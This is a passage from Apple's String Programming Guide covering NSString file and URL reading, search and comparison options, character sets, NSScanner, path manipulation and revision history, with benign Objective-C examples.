bytes]]; // if data is in another encoding, for example ISO-8859-1 NSString *string = [[NSString alloc] initWithData:data encoding: NSISOLatin1StringEncoding]; Reading data with an unknown encoding If you find yourself with text of unknown encoding, it is best to make sure that there is a mechanism for correcting the inevitable errors. For example, Apple's Mail and Safari applications have encoding menus, and TextEdit allows the user to reopen the file with an explicitly specified encoding. If you are forced to guess the encoding (and note that in the absence of explicit information, it is a guess): 1. Try stringWithContentsOfFile:usedEncoding:error: or initWithContentsOfFile:usedEncoding:error: (or the URL-based equivalents). These methods try to determine the encoding of the resource, and if successful return by reference the encoding used. 2. If (1) fails, try to read the resource by specifying UTF-8 as the encoding. 3. If (2) fails, try an appropriate legacy encoding. "Appropriate" here depends a bit on circumstances; it might be the default C string encoding, it might be ISO or Windows Latin 1, or something else, depending on where your data are coming from. 4. Finally, you can try NSAttributedString's loading methods from the Application Kit (such as initWithURL:options:documentAttributes:error:). These methods attempt to load plain text files, and return the encoding used. They can be used on more-or-less arbitrary text documents, and are worth considering if your application has no special expertise in text. They might not be as appropriate for Foundation-level tools or documents that are not natural-language text. Reading Strings From and Writing Strings To Files and URLs Reading From Files and URLs 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 20Writing to Files and URLs Compared with reading data from a file or URL, writing isstraightforward—NSString providestwo convenient methods, writeToFile:atomically:encoding:error: and writeToURL:atomically:encoding:error:. You must specify the encoding that should be used, and choose whether to write the resource atomically or not. If you do not choose to write atomically, the string is written directly to the path you specify. If you choose to write it atomically, it is written first to an auxiliary file, and then the auxiliary file is renamed to the path. This option guarantees that the file, if it exists at all, won’t be corrupted even if the system should crash during writing. If you write to an URL, the atomicity option is ignored if the destination is not of a type that can be accessed atomically. NSURL *URL = ...; NSString *string = ...; NSError *error; BOOL ok = [string writeToURL:URL atomically:YES encoding:NSUnicodeStringEncoding error:&error]; if (!ok) { // an error occurred NSLog(@"Error writing file at %@\n%@", path, [error localizedFailureReason]); // implementation continues ... Summary This table summarizes the most common means of reading and writing string objects to and from files and URLs: Source Creation method Extraction method writeToURL: atomically:encoding: error: stringWithContentsOfURL: encoding:error: stringWithContentsOfURL: usedEncoding:error: URL contents writeToFile: atomically:encoding: error: stringWithContentsOfFile: encoding:error: stringWithContentsOfFile: usedEncoding:error: File contents Reading Strings From and Writing Strings To Files and URLs Writing to Files and URLs 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 21The string classes provide methods for finding characters and substrings within strings and for comparing one string to another. These methods conform to the Unicode standard for determining whether two character sequences are equivalent. The string classes provide comparison methods that handle composed character sequences properly, though you do have the option of specifying a literal search when efficiency is important and you can guarantee some canonical form for composed character sequences. Search and Comparison Methods The search and comparison methods each come in several variants. The simplest version of each searches or compares entire strings. Other variants allow you to alter the way comparison of composed charactersequences is performed and to specify a specific range of characters within a string to be searched or compared; you can also search and compare strings in the context of a given locale. These are the basic search and comparison methods: Search methods Comparison methods rangeOfString: compare: rangeOfString: options: compare:options: rangeOfString: options:range: compare:options: range: rangeOfString: options:range: locale: compare:options: range:locale: rangeOfCharacterFromSet: rangeOfCharacterFromSet: options: rangeOfCharacterFromSet: options:range: Searching strings You use the rangeOfString:... methods to search for a substring within the receiver. The rangeOfCharacterFromSet:... methodssearch for individual charactersfrom a supplied set of characters. 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 22 Searching, Comparing, and Sorting StringsSubstrings are found only if completely contained within the specified range. If you specify a range for a search or comparison method and don’t request NSLiteralSearch (see below), the range must not break composed character sequences on either end; if it does, you could get an incorrect result. (See the method description for rangeOfComposedCharacterSequenceAtIndex: for a code sample that adjusts a range to lie on character sequence boundaries.) You can also scan a string object for numeric and string values using an instance of NSScanner. For more about scanners, see “Scanners” (page 36). Both the NSString and the NSScanner class clusters use the NSCharacterSet class cluster forsearch operations. For more about charactersets,see “Character Sets” (page 33). If you simply want to determine whether a string contains a given pattern, you can use a predicate: BOOL match = [myPredicate evaluateWithObject:myString]; For more about predicates, see Predicate Programming Guide . Comparing and sorting strings The compare:... methods return the lexical ordering of the receiver and the supplied string. Several other methods allow you to determine whether two strings are equal or whether one isthe prefix orsuffix of another, but they don’t have variants that allow you to specify search options or ranges. The simplest method you can use to compare strings is compare:—this is the same as invoking compare:options:range: with no options and the receiver’s full extent as the range. If you want to specify comparison options(NSCaseInsensitiveSearch, NSLiteralSearch, or NSNumericSearch) you can use compare:options:; if you want to specify a locale you can use compare:options:range:locale:. NSString also provides various convenience methodsto allow you to perform common comparisons without the need to specify ranges and options directly, for example caseInsensitiveCompare: and localizedCompare:. Important: For user-visible sorted lists, you should always use localized comparisons. Thustypically instead of compare: or caseInsensitiveCompare: you should use localizedCompare: or localizedCaseInsensitiveCompare:. If you want to compare strings to order them in the same way as they’re presented in Finder, you should use compare:options:range:locale: with the user’s locale and the following options: NSCaseInsensitiveSearch, NSNumericSearch, NSWidthInsensitiveSearch, and NSForcedOrderingSearch. For an example, see “Sorting strings like Finder” (page 26). Searching, Comparing, and Sorting Strings Search and Comparison Methods 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 23Search and Comparison Options Several of the search and comparison methods take an “options” argument. This is a bit mask that adds further constraints to the operation. You create the mask by combining the following options (not all options are available for every method): Search option Effect NSCaseInsensitive- Ignores case distinctions among characters. Search Performs a byte-for-byte comparison. Differing literal sequences (such as composed character sequences) that would otherwise be considered equivalent are considered not to match. Using this option can speed some operations dramatically. NSLiteralSearch NSBackwardsSearch Performs searching from the end of the range toward the beginning. Performs searching only on characters at the beginning or end of the range. No match at the beginning or end means nothing is found, even if a matching sequence of characters occurs elsewhere in the string. NSAnchoredSearch When used with the compare:options: methods, groups of numbers are treated as a numeric value for the purpose of comparison. For example, Filename9.txt < Filename20.txt < Filename100.txt. NSNumericSearch Search and comparison are currently performed as if the NSLiteralSearch option were specified. Examples Case-Insensitive Search for Prefix and Suffix NSString provides the methods hasPrefix: and hasSuffix: that you can use to find an exact match for a prefix or suffix. The following example illustrates how you can use rangeOfString:options: with a combination of options to perform case insensitive searches. NSString *searchString = @"age"; NSString *beginsTest = @"Agencies"; NSRange prefixRange = [beginsTest rangeOfString:searchString Searching, Comparing, and Sorting Strings Search and Comparison Options 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 24options:(NSAnchoredSearch | NSCaseInsensitiveSearch)]; // prefixRange = {0, 3} NSString *endsTest = @"BRICOLAGE"; NSRange suffixRange = [endsTest rangeOfString:searchString options:(NSAnchoredSearch | NSCaseInsensitiveSearch | NSBackwardsSearch)]; // suffixRange = {6, 3} Comparing Strings The following examples illustrate the use of various string comparison methods and associated options. The first shows the simplest comparison method. NSString *string1 = @"string1"; NSString *string2 = @"string2"; NSComparisonResult result; result = [string1 compare:string2]; // result = -1 (NSOrderedAscending) You can compare strings numerically using the NSNumericSearch option: NSString *string10 = @"string10"; NSString *string2 = @"string2"; NSComparisonResult result; result = [string10 compare:string2]; // result = -1 (NSOrderedAscending) result = [string10 compare:string2 options:NSNumericSearch]; // result = 1 (NSOrderedDescending) You can use convenience methods (caseInsensitiveCompare: and localizedCaseInsensitiveCompare:) to perform case-insensitive comparisons: Searching, Comparing, and Sorting Strings Examples 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 25NSString *string_a = @"Aardvark"; NSString *string_A = @"AARDVARK"; result = [string_a compare:string_A]; // result = 1 (NSOrderedDescending) result = [string_a caseInsensitiveCompare:string_A]; // result = 0 (NSOrderedSame) // equivalent to [string_a compare:string_A options:NSCaseInsensitiveSearch] Sorting strings like Finder To sort strings the way Finder does in OS X v10.6 and later, use the localizedStandardCompare: method. It should be used whenever file names or other strings are presented in lists and tables where Finder-like sorting is appropriate. The exact behavior of this method is different under different localizations, so clients should not depend on the exact sorting order of the strings. The following example shows another implementation of similar functionality, comparing strings to order them in the same way as they’re presented in Finder, and it also shows how to sort the array of strings. First, define a sorting function that includes the relevant comparison options (for efficiency, pass the user's locale as the context—this way it's only looked up once). int finderSortWithLocale(id string1, id string2, void *locale) { static NSStringCompareOptions comparisonOptions = NSCaseInsensitiveSearch | NSNumericSearch | NSWidthInsensitiveSearch | NSForcedOrderingSearch; NSRange string1Range = NSMakeRange(0, [string1 length]); return [string1 compare:string2 options:comparisonOptions range:string1Range locale:(NSLocale *)locale]; } Searching, Comparing, and Sorting Strings Examples 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 26You pass the function as a parameter to sortedArrayUsingFunction:context: with the user’s current locale as the context: NSArray *stringsArray = @[@"string 1", @"String 21", @"string 12", @"String 11", @"String 02"]; NSArray *sortedArray = [stringsArray sortedArrayUsingFunction:finderSortWithLocale context:[NSLocale currentLocale]]; // sortedArray contains { "string 1", "String 02", "String 11", "string 12", "String 21" } Searching, Comparing, and Sorting Strings Examples 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 27This article describes how line and paragraph separators are defined and how you can separate a string by paragraph. Line and Paragraph Separator Characters There are a number of ways in which a line or paragraph break may be represented. Historically \n, \r, and \r\n have been used. Unicode defines an unambiguous paragraph separator, U+2029 (for which Cocoa provides the constant NSParagraphSeparatorCharacter), and an unambiguous line separator, U+2028 (for which Cocoa provides the constant NSLineSeparatorCharacter). In the Cocoa text system, the NSParagraphSeparatorCharacter is treated consistently as a paragraph break, and NSLineSeparatorCharacter is treated consistently as a line break that is not a paragraph break—that is, a line break within a paragraph. However, in other contexts, there are few guarantees as to how these characters will be treated. POSIX-level software, for example, often recognizes only \n as a break. Some older Macintosh software recognizes only \r, and some Windows software recognizes only \r\n. Often there is no distinction between line and paragraph breaks. Which line or paragraph break character you should use depends on how your data may be used and on what platforms. The Cocoa text system recognizes \n, \r, or \r\n all as paragraph breaks—equivalent to NSParagraphSeparatorCharacter.When it inserts paragraph breaks, for example with insertNewline:, it uses \n. Ordinarily NSLineSeparatorCharacter is used only for breaks that are specifically line breaks and not paragraph breaks, for example in insertLineBreak:, or for representing HTML
elements. If your breaks are specifically intended as line breaks and not paragraph breaks, then you should typically use NSLineSeparatorCharacter. Otherwise, you may use \n, \r, or \r\n depending on what other software is likely to process your text. The default choice for Cocoa is usually \n. Separating a String “by Paragraph” A common approach to separating a string “by paragraph” is simply to use: NSArray *arr = [myString componentsSeparatedByString:@"\n"]; 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 28 Paragraphs and Line BreaksThis, however, ignores the fact that there are a number of other ways in which a paragraph or line break may be represented in a string—\r, \r\n, or Unicode separators. Instead you can use methods—such as lineRangeForRange: or getParagraphStart:end:contentsEnd:forRange:—that take into account the variety of possible line terminations, as illustrated in the following example. NSString *string = /* assume this exists */; unsigned length = [string length]; unsigned paraStart = 0, paraEnd = 0, contentsEnd = 0; NSMutableArray *array = [NSMutableArray array]; NSRange currentRange; while (paraEnd < length) { [string getParagraphStart:¶Start end:¶End contentsEnd:&contentsEnd forRange:NSMakeRange(paraEnd, 0)]; currentRange = NSMakeRange(paraStart, contentsEnd - paraStart); [array addObject:[string substringWithRange:currentRange]]; } Paragraphs and Line Breaks Separating a String “by Paragraph” 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 29It's common to think of a string as a sequence of characters, but when working with NSString objects, or with Unicode strings in general, in most cases it is better to deal with substrings rather than with individual characters. The reason for this is that what the user perceives as a character in text may in many cases be represented by multiple characters in the string. NSString has a large inventory of methods for properly handling Unicode strings, which in general make Unicode compliance easy, but there are a few precautions you should observe. NSString objects are conceptually UTF-16 with platform endianness. That doesn't necessarily imply anything about their internalstorage mechanism; what it meansisthat NSString lengths, character indexes, and ranges are expressed in terms of UTF-16 units, and that the term “character” in NSString method names refers to 16-bit platform-endian UTF-16 units. This is a common convention for string objects. In most cases, clients don't need to be overly concerned with this; aslong as you are dealing with substrings, the precise interpretation of the range indexes is not necessarily significant. The vast majority of Unicode code points used for writing living languages are represented by single UTF-16 units. However, some less common Unicode code points are represented in UTF-16 by surrogate pairs. A surrogate pair is a sequence of two UTF-16 units, taken from specific reserved ranges, that together represent a single Unicode code point. CFString has functions for converting between surrogate pairs and the UTF-32 representation of the corresponding Unicode code point. When dealing with NSString objects, one constraint is that substring boundaries usually should not separate the two halves of a surrogate pair. This is generally automatic for rangesreturned from most Cocoa methods, but if you are constructing substring ranges yourself you should keep this in mind. However, this is not the only constraint you should consider. In many writing systems, a single character may be composed of a base letter plus an accent or other decoration. The number of possible letters and accents precludes Unicode from representing each combination as a single code point, so in general such combinations are represented by a base character followed by one or more combining marks. For compatibility reasons, Unicode does have single code points for a number of the most common combinations; these are referred to as precomposed forms, and Unicode normalization transformations can be used to convert between precomposed and decomposed representations. However, even if a string is fully precomposed, there are still many combinations that must be represented using a base character and combining marks. For most text processing, substring ranges should be arranged so that their boundaries do not separate a base character from its associated combining marks. 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 30 Characters and Grapheme ClustersIn addition, there are writing systems in which characters represent a combination of parts that are more complicated than accent marks. In Korean, for example, a single Hangul syllable can be composed of two or three subparts known as jamo. In the Indic and Indic-influenced writing systems common throughout South and Southeast Asia, single written characters often represent combinations of consonants, vowels, and marks such as viramas, and the Unicode representations of these writing systems often use code points for these individual parts,so that a single character may be composed of multiple code points. For most text processing, substring ranges should also be arranged so that their boundaries do not separate the jamo in a single Hangul syllable, or the components of an Indic consonant cluster. In general, these combinations—surrogate pairs, base characters plus combining marks, Hangul jamo, and Indic consonant clusters—are referred to as grapheme clusters. In order to take them into account, you can use NSString’s rangeOfComposedCharacterSequencesForRange: or rangeOfComposedCharacterSequenceAtIndex: methods, or CFStringGetRangeOfComposedCharactersAtIndex. These can be used to adjuststring indexes orsubstring ranges so that they fall on grapheme cluster boundaries, taking into account all of the constraints mentioned above. These methods should be the default choice for programmatically determining the boundaries of user-perceived characters.: In some cases, Unicode algorithms deal with multiple charactersin waysthat go beyond even grapheme cluster boundaries. Unicode casing algorithms may convert a single character into multiple characters when going from lowercase to uppercase; for example, the standard uppercase equivalent of the German character “ß” is the two-letter sequence “SS”. Localized collation algorithms in many languages consider multiple-character sequences as single units; for example, the sequence “ch” is treated as a single letter for sorting purposes in some European languages. In order to deal properly with cases like these, it is important to use standard NSString methods for such operations as casing, sorting, and searching, and to use them on the entire string to which they are to apply. Use NSString methods such as lowercaseString, uppercaseString, capitalizedString, compare: and its variants, rangeOfString: and its variants, and rangeOfCharacterFromSet: and its variants, or their CFString equivalents. These all take into account the complexities of Unicode string processing, and the searching and sorting methods in particular have many options to control the types of equivalences they are to recognize. In some less common cases, it may be necessary to tailor the definition of grapheme clusters to a particular need. The issues involved in determining and tailoring grapheme cluster boundaries are covered in detail in Unicode Standard Annex #29, which gives a number of examples and some algorithms. The Unicode standard in general is the best source for information about Unicode algorithms and the considerations involved in processing Unicode strings. If you are interested in grapheme cluster boundaries from the point of view of cursor movement and insertion point positioning, and you are using the Cocoa text system, you should know that on OS X v10.5 and later, NSLayoutManager has API support for determining insertion point positions within a line of text as it is laid Characters and Grapheme Clusters 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 31out. Note that insertion point boundaries are not identical to glyph boundaries; a ligature glyph in some cases, such as an “fi” ligature in Latin script, may require an internal insertion point on a user-perceived character boundary. See Cocoa Text Architecture Guide for more information. Characters and Grapheme Clusters 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 32An NSCharacterSet object represents a set of Unicode characters. NSString and NSScanner objects use NSCharacterSet objects to group characters together for searching operations, so that they can find any of a particular set of characters during a search. Character Set Basics A character set object represents a set of Unicode characters. Character sets are represented by instances of a class cluster. The cluster’s two public classes, NSCharacterSet and NSMutableCharacterSet, declare the programmatic interface for immutable and mutable character sets, respectively. An immutable character set is defined when it is created and subsequently cannot be changed. A mutable character set can be changed after it’s created. A character set object doesn’t perform any tasks; it simply holds a set of character values to limit operations on strings. The NSString and NSScanner classes define methods that take NSCharacterSet objects as argumentsto find any ofseveral characters. For example, this code excerpt findsthe range of the first uppercase letter in myString:. NSString *myString = @"some text in an NSString..."; NSCharacterSet *characterSet = [NSCharacterSet uppercaseLetterCharacterSet]; NSRange letterRange = [myString rangeOfCharacterFromSet:characterSet]; After this fragment executes, letterRange.location is equal to the index of the first “N” in “NSString” after rangeOfCharacterFromSet: isinvoked. If the first letter of the string were “S”, then letterRange.location would be 0. Creating Character Sets NSCharacterSet defines class methodsthat return commonly used charactersets,such asletters(uppercase or lowercase), decimal digits, whitespace, and so on. These “standard” character sets are always immutable, even if created by sending a message to NSMutableCharacterSet. See “Standard Character Sets and Unicode Definitions” (page 35) for more information on standard character sets. 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 33 Character SetsYou can use a standard character set as a starting point for building a custom set by making a mutable copy of it and changing that. (You can also start from scratch by creating a mutable character set with alloc and init and adding characters to it.) For example, this fragment creates a character set containing letters, digits, and basic punctuation: NSMutableCharacterSet *workingSet = [[NSCharacterSet alphanumericCharacterSet] mutableCopy]; [workingSet addCharactersInString:@";:,."]; NSCharacterSet *finalCharacterSet = [workingSet copy]; To define a custom character set using Unicode code points, use code similar to the following fragment (which creates a character set including the form feed and line separator characters): UniChar chars[] = {0x000C, 0x2028}; NSString *string = [[NSString alloc] initWithCharacters:chars length:sizeof(chars) / sizeof(UniChar)]; NSCharacterSet *characterSet = [NSCharacterSet characterSetWithCharactersInString:string]; Performance considerations Because character sets often participate in performance-critical code, you should be aware of the aspects of their use that can affect the performance of your application. Mutable character sets are generally much more expensive than immutable character sets. They consume more memory and are costly to invert (an operation often performed in scanning a string). Because of this, you should follow these guidelines: ● Create as few mutable character sets as possible. ● Cache character sets (in a global dictionary, perhaps) instead of continually recreating them. ● When creating a custom set that doesn’t need to change after creation, make an immutable copy of the final character set for actual use, and dispose of the working mutable character set. Alternatively, create a character set file as described in “Creating a character set file” (page 35) and store it in your application’s main bundle. ● Similarly, avoid archiving characterset objects;store them in characterset filesinstead. Archiving can result in a character set being duplicated in different archive files, resulting in wasted disk space and duplicates in memory for each separate archive read. Character Sets Performance considerations 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 34Creating a character set file If your application frequently uses a custom character set, you should save its definition in a resource file and load that instead of explicitly adding individual characters each time you need to create the set. You can save a character set by getting its bitmap representation (an NSData object) and saving that object to a file: NSData *charSetRep = [finalCharacterSet bitmapRepresentation]; NSURL *dataURL = <#URL for character set#>; NSError *error; BOOL result = [charSetRep writeToURL:dataURL options:NSDataWritingAtomic error:&error]; By convention, characterset filenames use the extension .bitmap. If you intend for othersto use your character set files, you should follow this convention. To read a character set file with a .bitmap extension, simply use the characterSetWithContentsOfFile: method. Standard Character Sets and Unicode Definitions The standard character sets, such as that returned by letterCharacterSet, are formally defined in terms of the normative and informative categories established by the Unicode standard, such as Uppercase Letter, Combining Mark, and so on. The formal definition of a standard character set is in most cases given as one or more of the categories defined in the standard. For example, the set returned by lowercaseLetterCharacterSet include all characters in normative category Lowercase Letters, while the set returned by letterCharacterSet includes the characters in all of the Letter categories. Note that the definitions of the categoriesthemselves may change with new versions of the Unicode standard. You can download the files that define category membership from http://www.unicode.org/. Character Sets Creating a character set file 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 35An NSScanner object scans the characters of an NSString object, typically interpreting the characters and converting them into number and string values. You assign the scanner’s string on creation, and the scanner progresses through the characters of that string from beginning to end as you request items. Creating a Scanner NSScanner is a class cluster with a single public class, NSScanner. Generally, you instantiate a scanner object by invoking the class method scannerWithString: or localizedScannerWithString:. Either method returns a scanner object initialized with the string you pass to it. The newly created scanner starts at the beginning of its string. You scan components using the scan... methods such as scanInt:, scanDouble:, and scanString:intoString:. If you are scanning multiple lines, you typically create a while loop that continues until the scanner is at the end of the string, as illustrated in the following code fragment: float aFloat; NSScanner *theScanner = [NSScanner scannerWithString:aString]; while ([theScanner isAtEnd] == NO) { [theScanner scanFloat:&aFloat]; // implementation continues... } You can configure a scanner to consider or ignore case using the setCaseSensitive: method. By default a scanner ignores case. Using a Scanner Scan operationsstart at the scan location and advance the scanner to just past the last character in the scanned value representation (if any). For example, after scanning an integer from the string “137 small cases of bananas”, a scanner’s location will be 3, indicating the space immediately after the number. Often you need to advance the scan location to skip characters in which you are not interested. You can change the implicit 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 36 Scannersscan location with the setScanLocation: method to skip ahead a certain number of characters (you can also use the method to rescan a portion of the string after an error). Typically, however, you either want to skip characters from a particular character set, scan past a specific string, or scan up to a specific string. You can configure a scanner to skip a set of characters with the setCharactersToBeSkipped: method. A scanner ignores characters to be skipped at the beginning of any scan operation. Once it finds a scannable character, however, it includes all characters matching the request. Scanners skip whitespace and newline characters by default. Note that case is always considered with regard to characters to be skipped. To skip all English vowels, for example, you must set the characters to be skipped to those in the string “AEIOUaeiou”. If you want to read content from the current location up to a particular string, you can use scanUpToString:intoString: (you can pass NULL as the second argument if you simply want to skip the intervening characters). For example, given the following string: 137 small cases of bananas you can find the type of container and number of containers using scanUpToString:intoString: asshown in the following example. NSString *bananas = @"137 small cases of bananas"; NSString *separatorString = @" of"; NSScanner *aScanner = [NSScanner scannerWithString:bananas]; NSInteger anInteger; [aScanner scanInteger:&anInteger]; NSString *container; [aScanner scanUpToString:separatorString intoString:&container]; It is important to note that the search string (separatorString) is " of". By default a scanner ignores whitespace, so the space character after the integer is ignored. Once the scanner begins to accumulate characters, however, all characters are added to the output string until the search string is reached. Thus if the search string is "of" (no space before), the first value of container is “small cases ” (includes the space following); if the search string is " of" (with a space before), the first value of container is “small cases” (no space following). Scanners Using a Scanner 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 37After scanning up to a given string, the scan location is the beginning of that string. If you want to scan past thatstring, you must therefore firstscan in the string you scanned up to. The following code fragment illustrates how to skip past the search string in the previous example and determine the type of product in the container. Note the use of substringFromIndex: to in effect scan up to the end of a string. [aScanner scanString:separatorString intoString:NULL]; NSString *product; product = [[aScanner string] substringFromIndex:[aScanner scanLocation]]; // could also use: // product = [bananas substringFromIndex:[aScanner scanLocation]]; Example Suppose you have a string containing lines such as: Product: Acme Potato Peeler; Cost: 0.98 73 Product: Chef Pierre Pasta Fork; Cost: 0.75 19 Product: Chef Pierre Colander; Cost: 1.27 2 The following example uses alternating scan operationsto extract the product names and costs(costs are read as a float forsimplicity’ssake),skipping the expected substrings“Product:” and “Cost:”, as well asthe semicolon. Note that because a scanner skips whitespace and newlines by default, the loop does no special processing for them (in particular there is no need to do additional whitespace processing to retrieve the final integer). NSString *string = @"Product: Acme Potato Peeler; Cost: 0.98 73\n\ Product: Chef Pierre Pasta Fork; Cost: 0.75 19\n\ Product: Chef Pierre Colander; Cost: 1.27 2\n"; NSCharacterSet *semicolonSet; NSScanner *theScanner; NSString *PRODUCT = @"Product:"; NSString *COST = @"Cost:"; NSString *productName; float productCost; Scanners Example 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 38NSInteger productSold; semicolonSet = [NSCharacterSet characterSetWithCharactersInString:@";"]; theScanner = [NSScanner scannerWithString:string]; while ([theScanner isAtEnd] == NO) { if ([theScanner scanString:PRODUCT intoString:NULL] && [theScanner scanUpToCharactersFromSet:semicolonSet intoString:&productName] && [theScanner scanString:@";" intoString:NULL] && [theScanner scanString:COST intoString:NULL] && [theScanner scanFloat:&productCost] && [theScanner scanInteger:&productSold]) { NSLog(@"Sales of %@: $%1.2f", productName, productCost * productSold); } } Localization A scanner bases some of its scanning behavior on a locale, which specifies a language and conventions for value representations. NSScanner uses only the locale’s definition for the decimal separator (given by the key named NSDecimalSeparator). You can create a scanner with the user’s locale by using localizedScannerWithString:, or set the locale explicitly using setLocale:. If you use a method that doesn’t specify a locale, the scanner assumes the default locale values. Scanners Localization 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 39NSString provides a rich set of methodsfor manipulating strings asfile-system paths. You can extract a path’s directory, filename, and extension, expand a tilde expression (such as “~me”) or create one for the user’s home directory, and clean up paths containing symbolic links, redundant slashes, and references to “.” (current directory) and “..” (parent directory). Note: Where possible, you should use instances of NSURL to represent paths—the operating system deals with URLs more efficiently than with string representations of paths. Representing a Path NSString represents paths generically with ‘/’ asthe path separator and ‘.’ asthe extension separator. Methods that accept strings as path arguments convert these generic representations to the proper system-specific form as needed. On systems with an implicit root directory, absolute paths begin with a path separator or with a tilde expression (“~/...” or “~user/...”). Where a device must be specified, you can do that yourself—introducing a system dependency—or allow the string object to add a default device. You can create a standardized representation of a path using stringByStandardizingPath. This performs a number of tasks including: ● Expansion of an initial tilde expression; ● Reduction of empty components and references to the current directory (“//” and “/./”) to single path separators; ● In absolute paths, resolution of references to the parent directory (“..”) to the real parent directory; for example: NSString *path = @"/usr/bin/./grep"; NSString *standardizedPath = [path stringByStandardizingPath]; // standardizedPath: /usr/bin/grep path = @"~me"; 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 40 String Representations of File PathsstandardizedPath = [path stringByStandardizingPath]; // standardizedPath (assuming conventional naming scheme): /Users/Me path = @"/usr/include/objc/.."; standardizedPath = [path stringByStandardizingPath]; // standardizedPath: /usr/include path = @"/private/usr/include"; standardizedPath = [path stringByStandardizingPath]; // standardizedPath: /usr/include User Directories The following examples illustrate how you can use NSString’s path utilities and other Cocoa functions to get the user directories. // Assuming that users’ home directories are stored in /Users NSString *meHome = [@"~me" stringByExpandingTildeInPath]; // meHome = @"/Users/me" NSString *mePublic = [@"~me/Public" stringByExpandingTildeInPath]; // mePublic = @"/Users/me/Public" You can find the home directory for the current user and for a given user with NSHomeDirectory and NSHomeDirectoryForUser respectively: NSString *currentUserHomeDirectory = NSHomeDirectory(); NSString *meHomeDirectory = NSHomeDirectoryForUser(@"me"); Note that you should typically use the function NSSearchPathForDirectoriesInDomains to locate standard directories for the current user. For example, instead of: NSString *documentsDirectory = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents"]; String Representations of File Paths User Directories 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 41you should use: NSString *documentsDirectory; NSArray *paths = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES); if ([paths count] > 0) { documentsDirectory = [paths objectAtIndex:0]; } Path Components NSString provides a rich set of methods for manipulating strings as file-system paths, for example: Interprets the receiver as a path and returns the receiver’s extension, if any. pathExtension Returns a new string made by deleting the extension (if any, and only the last) from the receiver. stringByDeletingPathExtension Returns a new string made by deleting the last path component from the receiver, along with any final path separator. stringByDeletingLastPathComponent Using these and related methods described in NSString Class Reference , you can extract a path’s directory, filename, and extension, as illustrated by the following examples. NSString *documentPath = @"~me/Public/Demo/readme.txt"; NSString *documentDirectory = [documentPath stringByDeletingLastPathComponent]; // documentDirectory = @"~me/Public/Demo" NSString *documentFilename = [documentPath lastPathComponent]; // documentFilename = @"readme.txt" NSString *documentExtension = [documentPath pathExtension]; // documentExtension = @"txt" String Representations of File Paths Path Components 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 42File Name Completion You can find possible expansions of file names using completePathIntoString:caseSensitive:matchesIntoArray:filterTypes:. For example, given a directory ~/Demo that contains the following files: ReadMe.txt readme.html readme.rtf recondite.txt test.txt you can find all possible completions for the path ~/Demo/r as follows: NSString *partialPath = @"~/Demo/r"; NSString *longestCompletion; NSArray *outputArray; unsigned allMatches = [partialPath completePathIntoString:&longestCompletion caseSensitive:NO matchesIntoArray:&outputArray filterTypes:NULL]; // allMatches = 3 // longestCompletion = @"~/Demo/re" // outputArray = (@"~/Demo/readme.html", "~/Demo/readme.rtf", "~/Demo/recondite.txt") You can find possible completions for the path ~/Demo/r that have an extension “.txt” or “.rtf” as follows: NSArray *filterTypes = @[@"txt", @"rtf"]; unsigned textMatches = [partialPath completePathIntoString:&outputName caseSensitive:NO matchesIntoArray:&outputArray filterTypes:filterTypes]; // allMatches = 2 // longestCompletion = @"~/Demo/re" // outputArray = (@"~/Demo/readme.rtf", @"~/Demo/recondite.txt") String Representations of File Paths File Name Completion 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 43You can draw string objects directly in a focused NSView using methods such as drawAtPoint:withAttributes: (to draw a string with multiple attributes, such as multiple text fonts, you must use an NSAttributedString object). These methods are described briefly in “Text” in Cocoa Drawing Guide . The simple methods, however, are designed for drawing small amounts of text or text that is only drawn rarely—they create and dispose of various supporting objects every time you call them. To draw strings repeatedly, it is more efficient to use NSLayoutManager, as described in “Drawing Strings”. For an overview of the Cocoa text system, of which NSLayoutManager is a part, see Cocoa Text Architecture Guide . 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 44 Drawing StringsThis table describes the changes to String Programming Guide . Date Notes 2012-07-17 Updated code snippets to adopt new Objective-C features. Corrected string constant character set to UTF-8. Added guidance about using localizedStandardCompare: for Finder-like sorting. Added caveat to avoid using %s with RTL languages. Revised "String Format Specifiers" article. 2012-06-11 2009-10-15 Added links to Cocoa Core Competencies. Added new aricle on character clusters; updated list of string format specifiers. 2008-10-15 2007-10-18 Corrected minor typographical errors. Added notes regarding NSInteger and NSUInteger to "String Format Specifiers". 2007-07-10 2007-03-06 Corrected minor typographical errors. 2007-02-08 Corrected sentence fragments and improved the example in "Scanners." 2006-12-05 Added code samples to illustrate searching and path manipulation. 2006-11-07 Made minor revisions to "Scanners" article. 2006-10-03 Added links to path manipulation methods. 2006-06-28 Corrected typographical errors. Added a new article, "Reading Strings From and Writing Strings To Files and URLs"; significantly updated "Creating and Converting Strings." 2006-05-23 2012-07-17 | © 1997, 2012 Apple Inc. All Rights Reserved. 45 Document Revision HistoryDate Notes Included “Creating a Character Set” into “Character Sets” (page 33). Changed title from "Strings" to conform to reference consistency guidelines. 2006-01-10 Added “Formatting String Objects” (page 13) article. Added Data Formatting and the Core Foundation Strings programming topics to the 